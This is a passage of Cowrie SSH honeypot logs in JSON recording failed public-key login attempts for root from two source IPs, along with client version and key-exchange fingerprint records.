14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:19.919833Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:5f:15:fc:8f:c8:a4:79:4c:f8:a9:c3:3f:1f:17:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUyc397iRJNvayxb6C8JA7xdyzvOFf+sruJtrCuneB4SvyMuRvGuoU3KRe8PoUyRJKnWXB5xvuLshYaUpvMYyDyMN5hFttYv0N98CQJNxIWZAkyxnOXF26ZgCHz5d/5+GV2L8mijc/hGT2bvLytZ4bU0p6dRCFxTm8hVFebE3xexx6pkLqcij7KrtHZSZIubTTOCmAh4ozrTKq+jahn0M81/BgllDODMgiN7psgDKUaqzoChFVL+f7yWPphpd0VevJZGCvzFQUyxHPZXPc+XWTxlxgsCzTYBBABfCeZFCvab9HsewgieFOzOvbuS+Y0w+vY9jrL3382e6rZvNWq8+n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5c:5f:15:fc:8f:c8:a4:79:4c:f8:a9:c3:3f:1f:17:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.401033Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:5f:15:fc:8f:c8:a4:79:4c:f8:a9:c3:3f:1f:17:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUyc397iRJNvayxb6C8JA7xdyzvOFf+sruJtrCuneB4SvyMuRvGuoU3KRe8PoUyRJKnWXB5xvuLshYaUpvMYyDyMN5hFttYv0N98CQJNxIWZAkyxnOXF26ZgCHz5d/5+GV2L8mijc/hGT2bvLytZ4bU0p6dRCFxTm8hVFebE3xexx6pkLqcij7KrtHZSZIubTTOCmAh4ozrTKq+jahn0M81/BgllDODMgiN7psgDKUaqzoChFVL+f7yWPphpd0VevJZGCvzFQUyxHPZXPc+XWTxlxgsCzTYBBABfCeZFCvab9HsewgieFOzOvbuS+Y0w+vY9jrL3382e6rZvNWq8+n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.409484Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:f6:92:be:b4:69:42:60:8a:82:6a:38:f7:04:6f:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChxgF3PzAl70WojGxWw6vCa5uB/ucew/15UhDizctxFAWgRRfnbLDVWw7QE9sg/ZVm9k18V2N1oEfJkJ1DnYcg9ebg3ffm/Lay5PjcNbdaLy6HqvrFKUDhlhZA4+gaTJIWzCar1kl8gN7Vq078k1vL9SyiB/oKWjJBbD6rspbz2/zDALMgOjkUPC458O9cEwhJRYWnBN17RDeUkmHCDPylSttbW5r91N3ryDu8Ki9PMy0FjdgzrDRIxG7Iz6eVjdxsnWlt2pFBj1WcDGBgY9/tC25zXNR5gX8ndQkiZuFuvbRrE90GqzmSZnZ0DNTEJKCB10RQt/1vsPx05kyWZiVL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:f6:92:be:b4:69:42:60:8a:82:6a:38:f7:04:6f:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.511151Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:f6:92:be:b4:69:42:60:8a:82:6a:38:f7:04:6f:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChxgF3PzAl70WojGxWw6vCa5uB/ucew/15UhDizctxFAWgRRfnbLDVWw7QE9sg/ZVm9k18V2N1oEfJkJ1DnYcg9ebg3ffm/Lay5PjcNbdaLy6HqvrFKUDhlhZA4+gaTJIWzCar1kl8gN7Vq078k1vL9SyiB/oKWjJBbD6rspbz2/zDALMgOjkUPC458O9cEwhJRYWnBN17RDeUkmHCDPylSttbW5r91N3ryDu8Ki9PMy0FjdgzrDRIxG7Iz6eVjdxsnWlt2pFBj1WcDGBgY9/tC25zXNR5gX8ndQkiZuFuvbRrE90GqzmSZnZ0DNTEJKCB10RQt/1vsPx05kyWZiVL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.514510Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:e8:2b:63:7e:b7:42:01:db:2f:24:81:9b:c0:fc:8b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFVrQevoORkzb2eUCIKLxvtYzJ/tcAbLqlUN3hUVtAFe","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0d:e8:2b:63:7e:b7:42:01:db:2f:24:81:9b:c0:fc:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.615922Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:e8:2b:63:7e:b7:42:01:db:2f:24:81:9b:c0:fc:8b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFVrQevoORkzb2eUCIKLxvtYzJ/tcAbLqlUN3hUVtAFe","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.619383Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:44:69:16:4c:c1:5f:83:b2:9a:26:cb:05:38:e0:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvmXukEoUaqDRNhpYoYSL3fZ2LWQpIjjdBZgkZLbsPpmtt6VRuMFe0HwFizPdEzXPGdQD7/fGENy/zFX3SP4EUfxDpSJKI+a3LbPlma2LhLESiOHbuivVbY8VLHxnF4Gy21RJCJ7N/DXCtprhkM9ME0Y8tnChe8mRG+4n7z1uvbk7sUdS8wwDbwq2EMqB/m/S9jsQjqPWihqI/UftomCKU0tnk5nuLKEVqUClWgtsT7srMgIs88SciKi23KilOpWCW+Z06v35INkpQyxiqnRTLg8fdPOIjmMi/J5oC00qR5KicLLzaZe03RpCdkukqPBhudPnz7kn2nNuAePbnNUlm59ktaaLlD3Ihm1KFsc+p5Ol6xWXCdMktkYlkRUUjiVs0vqkK20bbghfH6z+MlV1NoaVNRNg4bdAG1jsroe4iKBw2eRuKzpUKxTbw01Rz6ZEaGliyayqUtoFGBUsLEo8ipJitl1OoU8nY7583X8o/Z7g7khi/WOtOYFe/1SEagk5xWt6pzMCOHRY0NqgDBicSWswBacTqtl1Ue0zndBO4LJ+hl7zYkrAIQyHa/6IpXfn1s7t229qGtmMRI2/f946u+YN3idsG8epY+2TzWaqsOkkiFgsvSo2TCrOdJo9gARXTyt0QikLBqBc7RUrNp/mBV9mgFCDXqfcTG6xU6sgM+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:44:69:16:4c:c1:5f:83:b2:9a:26:cb:05:38:e0:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.720548Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:44:69:16:4c:c1:5f:83:b2:9a:26:cb:05:38:e0:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvmXukEoUaqDRNhpYoYSL3fZ2LWQpIjjdBZgkZLbsPpmtt6VRuMFe0HwFizPdEzXPGdQD7/fGENy/zFX3SP4EUfxDpSJKI+a3LbPlma2LhLESiOHbuivVbY8VLHxnF4Gy21RJCJ7N/DXCtprhkM9ME0Y8tnChe8mRG+4n7z1uvbk7sUdS8wwDbwq2EMqB/m/S9jsQjqPWihqI/UftomCKU0tnk5nuLKEVqUClWgtsT7srMgIs88SciKi23KilOpWCW+Z06v35INkpQyxiqnRTLg8fdPOIjmMi/J5oC00qR5KicLLzaZe03RpCdkukqPBhudPnz7kn2nNuAePbnNUlm59ktaaLlD3Ihm1KFsc+p5Ol6xWXCdMktkYlkRUUjiVs0vqkK20bbghfH6z+MlV1NoaVNRNg4bdAG1jsroe4iKBw2eRuKzpUKxTbw01Rz6ZEaGliyayqUtoFGBUsLEo8ipJitl1OoU8nY7583X8o/Z7g7khi/WOtOYFe/1SEagk5xWt6pzMCOHRY0NqgDBicSWswBacTqtl1Ue0zndBO4LJ+hl7zYkrAIQyHa/6IpXfn1s7t229qGtmMRI2/f946u+YN3idsG8epY+2TzWaqsOkkiFgsvSo2TCrOdJo9gARXTyt0QikLBqBc7RUrNp/mBV9mgFCDXqfcTG6xU6sgM+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.724885Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:9c:c3:4c:4e:dd:2d:75:77:40:17:ba:a2:1d:ba:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQfvLi9p4N1S9HY59CDVUEdfv/ImgA/ClCgbRzIZOcZ+OsN1uvoYu0TikPzcnerWA7F6GbadkZYodvh+acExO37th018xxLD56GAtXBUxyyOrNYxJ59+wwxrGqwQhFjptOScw8QGndGVfenijWkCYjcAtX4ObkUygqL7pn0tp8ErK83fkuOMgJ/7dNwsWyCZRy5588nYGRSzgaLyof0TTEXRIVkw54mZ6R0izcg8Tp5eWK24u5Ru1kwuGWoRX2cjspFDRyBk/vcKfhAHEOaP6OP4p5+rM3Z4xvHtT1v+M8gr/T/6ikh+eAzOhne9gQUCAEzyQoXbaXZkStpX+abEBqPg0MMTL8L3MI6CdKlSyTtW9XYBdaYIJ6cyMnb4lLgUnDAtXB2ZjF9CkY/jLsSOIUdohvYKCNdilC9LM1GdVd5fETG/aGT4C2BqdMhLbH0K/PXTdiGYdeo9j6aOVEbwbQtQUFfpdt8JnIqmyXaHILaaNWhWUH4e07Jwyc0IDKrj5u0MQXvt80fGwYfXiHPD/GwkeM7ylpgottq25S1piYTKIYsYz/OC+SwmIY+b7t8xmW1snvBdzgebq9G/Pulx9grTTda6k2C4R2bK50KNx5LqjQ7MW5XCH5RgKbGnJXsFZ3VmoQdkA/TP+1L5C+09BySdTIjJf5CGN+ubqJEvvwBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:9c:c3:4c:4e:dd:2d:75:77:40:17:ba:a2:1d:ba:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.826213Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:9c:c3:4c:4e:dd:2d:75:77:40:17:ba:a2:1d:ba:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDQfvLi9p4N1S9HY59CDVUEdfv/ImgA/ClCgbRzIZOcZ+OsN1uvoYu0TikPzcnerWA7F6GbadkZYodvh+acExO37th018xxLD56GAtXBUxyyOrNYxJ59+wwxrGqwQhFjptOScw8QGndGVfenijWkCYjcAtX4ObkUygqL7pn0tp8ErK83fkuOMgJ/7dNwsWyCZRy5588nYGRSzgaLyof0TTEXRIVkw54mZ6R0izcg8Tp5eWK24u5Ru1kwuGWoRX2cjspFDRyBk/vcKfhAHEOaP6OP4p5+rM3Z4xvHtT1v+M8gr/T/6ikh+eAzOhne9gQUCAEzyQoXbaXZkStpX+abEBqPg0MMTL8L3MI6CdKlSyTtW9XYBdaYIJ6cyMnb4lLgUnDAtXB2ZjF9CkY/jLsSOIUdohvYKCNdilC9LM1GdVd5fETG/aGT4C2BqdMhLbH0K/PXTdiGYdeo9j6aOVEbwbQtQUFfpdt8JnIqmyXaHILaaNWhWUH4e07Jwyc0IDKrj5u0MQXvt80fGwYfXiHPD/GwkeM7ylpgottq25S1piYTKIYsYz/OC+SwmIY+b7t8xmW1snvBdzgebq9G/Pulx9grTTda6k2C4R2bK50KNx5LqjQ7MW5XCH5RgKbGnJXsFZ3VmoQdkA/TP+1L5C+09BySdTIjJf5CGN+ubqJEvvwBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.830037Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:20.933446Z","src_ip":"194.120.230.72","session":"e4f3d553dcb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":39252,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9ecc1d61968","protocol":"ssh","message":"New connection: 51.75.149.221:39252 (10.17.0.5:22) [session: d9ecc1d61968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:21.967592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:21.971584Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.061462Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:11:4e:83:85:1c:9f:45:89:05:d7:47:d6:42:d6:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvqoKpBL+GkRygzN1k1/HRBSdOzsbxnqUugtVwjeChdIHD2c2kuU8CImkWCkD24bUZtKRRDxE9QAAzrcrt4ogEogus5mjVbXonspgieAE2N7fjrNRaufH2S1bhJV+eqtSTbcs5kgJ4nyVHAHseFPW2EdYFQbJOXkfCiv4R1dV+1E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:11:4e:83:85:1c:9f:45:89:05:d7:47:d6:42:d6:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.480703Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:11:4e:83:85:1c:9f:45:89:05:d7:47:d6:42:d6:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAvqoKpBL+GkRygzN1k1/HRBSdOzsbxnqUugtVwjeChdIHD2c2kuU8CImkWCkD24bUZtKRRDxE9QAAzrcrt4ogEogus5mjVbXonspgieAE2N7fjrNRaufH2S1bhJV+eqtSTbcs5kgJ4nyVHAHseFPW2EdYFQbJOXkfCiv4R1dV+1E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.485191Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:14:85:0c:35:cf:65:62:1c:ab:35:7c:89:8d:eb:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2DraQSG6OGrWutuNEq8y7CI/S4v7VQ9Zk67Osx0qm+0p02E8gRTJ7eubqrpesmKXLvxs/WyYNQP+dE1zLzOxi8meiYFQqWhEgyLBi0d+9qc/b3fIvS/IKXI98eTj1lqRNqetSonjrvdW/8yMT43Vex+u2wjIu2meDG3JkOhfVMcJVMJRtMNyr82AIIt2hf9guRCzKqgU6v9coNfg2rS9DTJtVT6FnqZL0LdzB9PxM5TahlluzwBURX+NC4rLRtvp0XF0wNv5o2DqsrN89eonRPl+dVbbztftjGDX2E68ro4JDQy5I/tsu37ywxgWI970r14PnsdiPv8pGG2HOcTe/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:14:85:0c:35:cf:65:62:1c:ab:35:7c:89:8d:eb:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.574798Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:14:85:0c:35:cf:65:62:1c:ab:35:7c:89:8d:eb:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2DraQSG6OGrWutuNEq8y7CI/S4v7VQ9Zk67Osx0qm+0p02E8gRTJ7eubqrpesmKXLvxs/WyYNQP+dE1zLzOxi8meiYFQqWhEgyLBi0d+9qc/b3fIvS/IKXI98eTj1lqRNqetSonjrvdW/8yMT43Vex+u2wjIu2meDG3JkOhfVMcJVMJRtMNyr82AIIt2hf9guRCzKqgU6v9coNfg2rS9DTJtVT6FnqZL0LdzB9PxM5TahlluzwBURX+NC4rLRtvp0XF0wNv5o2DqsrN89eonRPl+dVbbztftjGDX2E68ro4JDQy5I/tsu37ywxgWI970r14PnsdiPv8pGG2HOcTe/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.579432Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:85:8b:fa:7f:b8:d2:8a:fe:f1:14:97:72:a2:66:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuxAdxhbRB37XcFzfvGy2pVEgfX7isyZuCynwyDtjPNG5URgpr3CkBBCIMK3wtBQvI6qZ3BKaMeuQhDyE8ErouNAiedUz+P+ajhmHywZUsWULwwZUC+niSg8/I5NHxz+o8KWkxxC/wNMRIeBMECxFvTq79FM6qQQvbHtu7oy0tViqgTDHeXqgTrmOVi2WKKRHfGQncGkCQKa4p8I1GXBRKc/V2bdMwbWpuXe0plZI4AIrnmgXMRMaafzEup38Q57h+kKquo9R8et5GDIwhZFit//l4o/6tyzi0OU6xqPiyB5C+9dl2KpSn5QXGQBEC2uXx5I46QjnUQgX0yFzDH829w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:85:8b:fa:7f:b8:d2:8a:fe:f1:14:97:72:a2:66:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.669366Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:85:8b:fa:7f:b8:d2:8a:fe:f1:14:97:72:a2:66:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuxAdxhbRB37XcFzfvGy2pVEgfX7isyZuCynwyDtjPNG5URgpr3CkBBCIMK3wtBQvI6qZ3BKaMeuQhDyE8ErouNAiedUz+P+ajhmHywZUsWULwwZUC+niSg8/I5NHxz+o8KWkxxC/wNMRIeBMECxFvTq79FM6qQQvbHtu7oy0tViqgTDHeXqgTrmOVi2WKKRHfGQncGkCQKa4p8I1GXBRKc/V2bdMwbWpuXe0plZI4AIrnmgXMRMaafzEup38Q57h+kKquo9R8et5GDIwhZFit//l4o/6tyzi0OU6xqPiyB5C+9dl2KpSn5QXGQBEC2uXx5I46QjnUQgX0yFzDH829w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.676727Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:45:ed:a2:00:e4:a4:89:29:4f:1d:de:4b:ac:59:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuQ1lhucLrFeJ1VyiyrZNCxiftizI1E1Ya2+bd9jd0Ts+aM9CEt7g7WJ4vjeN+ONETins/QCKG04T0tZqSIjUlsDQ55Ndwj9SnewhKLnxN2wlqkJ/+kg+py92Pka5/9xdOXY6jMMY69CIBl8q2DyCAKpOm+NU3OCL6/UfGpAUwukbSi0NeGRUEJWxbd4aihybHvUJ0cBj4Zij/Bko0eG/fFtIMHlQhOnlmyXaAVP+9rVyoVaOGhazLGuw4yylsFkCIxycrqu6TzzaLZ2unnCXxEfeYr3DoIgINt6ghVRq4580mlFFClG7l0Ha3JDxa4hhJ1YzymPCnc5q38pHGKcqPuaUMY8+4zB+blPuwGQBx7E/0L/uIYcA+hs896VmRLFd/JTL1fOaF1UymAcXL/qaVBz/ZNEkUzYh2PN8YZa+TpjTIau+vgIHyXC80sVuCo424wlhTOl/XZhApo1unFHxkAkHIirtd+8KFmbcVVLAK3ONAuG/eYSSLKWVikB50XLoUVhhEd7IxDDGl96BmMxcFGFG+zr9MXSXiIouuD8DgdnfTQWLZnuHxzm9kl0iSr37X0tZvnfiHfv1xvVsPZHGRWo/jeqonwZbrXzfbRf+7gzkscVR4QaSm3kJQ7ErKg0tOeoBb30OzH9H5fFexZZuGRlx+5zKdNkKy3BTjDD6oMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:45:ed:a2:00:e4:a4:89:29:4f:1d:de:4b:ac:59:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.766609Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:45:ed:a2:00:e4:a4:89:29:4f:1d:de:4b:ac:59:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuQ1lhucLrFeJ1VyiyrZNCxiftizI1E1Ya2+bd9jd0Ts+aM9CEt7g7WJ4vjeN+ONETins/QCKG04T0tZqSIjUlsDQ55Ndwj9SnewhKLnxN2wlqkJ/+kg+py92Pka5/9xdOXY6jMMY69CIBl8q2DyCAKpOm+NU3OCL6/UfGpAUwukbSi0NeGRUEJWxbd4aihybHvUJ0cBj4Zij/Bko0eG/fFtIMHlQhOnlmyXaAVP+9rVyoVaOGhazLGuw4yylsFkCIxycrqu6TzzaLZ2unnCXxEfeYr3DoIgINt6ghVRq4580mlFFClG7l0Ha3JDxa4hhJ1YzymPCnc5q38pHGKcqPuaUMY8+4zB+blPuwGQBx7E/0L/uIYcA+hs896VmRLFd/JTL1fOaF1UymAcXL/qaVBz/ZNEkUzYh2PN8YZa+TpjTIau+vgIHyXC80sVuCo424wlhTOl/XZhApo1unFHxkAkHIirtd+8KFmbcVVLAK3ONAuG/eYSSLKWVikB50XLoUVhhEd7IxDDGl96BmMxcFGFG+zr9MXSXiIouuD8DgdnfTQWLZnuHxzm9kl0iSr37X0tZvnfiHfv1xvVsPZHGRWo/jeqonwZbrXzfbRf+7gzkscVR4QaSm3kJQ7ErKg0tOeoBb30OzH9H5fFexZZuGRlx+5zKdNkKy3BTjDD6oMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.770657Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:c2:16:14:d3:7f:99:1b:48:ac:dd:f6:ec:83:eb:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFBSv0hFfshYpqB2lhoVopUXqLCt12JkvfFCclK2JWBfkMgzzLgqGSEhfEdtc1DawQpwoqXjGBftihx/pB1FUWdRtZdwJetoXiuXQYDMXhe3n0xf/kQz9GQBZa2b4ClBYG46suq/7pBUFN2AX72hC5Ukjcm4+3RHVe4xOmX/6R6+IJev8gxcZcLTDQ5z8K1c3gCQ3AFktFBBcojp0m0B5EcH07GfdzGF5w3FGRKSBkpfwW3aHhsTbNNNRzKuTv6JwAOUmQ6H7mxffK3RorCikQZMtHt0iezuv4kXvbRSu8rMPllgSW0tviVRsYxd5/rrMyto9GuCbnVTX62woSdypN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:c2:16:14:d3:7f:99:1b:48:ac:dd:f6:ec:83:eb:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.860370Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
